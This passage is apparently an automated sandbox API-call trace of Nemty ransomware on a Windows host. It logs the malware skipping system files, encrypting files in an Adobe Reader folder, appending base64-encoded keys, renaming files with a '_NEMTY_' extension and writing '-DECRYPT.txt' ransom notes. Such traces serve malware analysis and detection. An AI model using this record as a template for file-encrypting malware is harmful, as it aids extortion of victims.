pszString="d0Tm+W98nj6DVAQY3kKncBgyW4W1ozX0K8g61bQUxwE1ombjP280d1L899GR0QW6\r\nC5uUf7tnX7zkz6ruXNdDrRtRf01h8BmrQuddUYYkfz/t+7i19Jwc4Kg/8wk/f/7/\r\ng6k/Fu2mqEoy05ex2xDKoBahhfYGF9cKKZ/5njYVYILxL7mUAErkEBljD0eTXj0b\r\nR5iPaZJvmWagougfAyfx7nNOXvs2xzNor380iGNAaiiiT1yOo2JOcbTMGwaMdwNo\r\njmvQ1urpFBvSGbcDZJJVMCc6ydROFPwioFRWbhqVpMNJYjguedQhje3vXqlxthME\r\nfMzGeWbrldKJ7Aee07xWRQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\sendmail.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.703] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15360) returned 1 [0184.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c00) returned 0x6352c48 [0184.703] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.703] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3c00, lpOverlapped=0x0) returned 1 [0184.706] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.706] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3c00, lpOverlapped=0x0) returned 1 [0184.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.706] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c00 [0184.706] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.706] CloseHandle (hObject=0x2e8) returned 1 [0184.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.707] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\sendmail.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\sendmail.sve._nemty_kgobjgd_")) returned 1 [0184.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.707] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0184.707] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0184.707] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0184.707] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0184.707] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0184.707] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0184.707] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0184.707] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0184.707] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0184.708] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0184.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0184.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0184.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.710] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.710] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0184.711] CloseHandle (hObject=0x2e8) returned 1 [0184.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0184.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0184.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.712] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.712] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0184.713] CloseHandle (hObject=0x2e8) returned 1 [0184.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.713] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21bcdcb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21bcdcb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0184.714] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0184.714] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21bcdcb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21bcdcb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.714] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0184.714] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0184.714] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0184.714] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0184.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0184.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.715] Sleep (dwMilliseconds=0x5) [0184.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21bf3e10, dwHighDateTime=0x1d561e8)) [0184.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21bf3e10, dwHighDateTime=0x1d561e8)) [0184.717] GetLastError () returned 0xb7 [0184.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.718] GetLastError () returned 0xb7 [0184.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0184.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0184.718] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0184.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0184.718] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="xoTkrTyZDdWqym7rhLiZTjTbLplLRWifzX6F6R7hBoRhTkc7xLFaLsKpbIVEEh01\r\ndQcBci5ibVQAepw6jIRPwwAqWaiYOFzHpaUtHeknP1QJuk2OkKynb8znf0kNvB/c\r\nqmW/YLxvnYaC3Nq6m8/WyMv3ZJ3UOMUOo+AdjkyyjOr8lqqOCpAXTlNLqLRFAh/d\r\nDOMPTVfLwfFoT2x0KRTwWsqgA6qot0AmDOqiuOvmvxb1auAA67y7fwT6mJ02opMx\r\nvqGO5XHnTevjXub0h4X0V1XDamnFFXvSjGHAKw3iM+LmFdx5s4eusAKOIK8CKhYo\r\nPv8V9ZnrlfOlNCmW2H3dDg==\r\n", pcchString=0x653e29c) returned 1 [0184.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0184.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.718] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0184.719] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=36127) returned 1 [0184.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 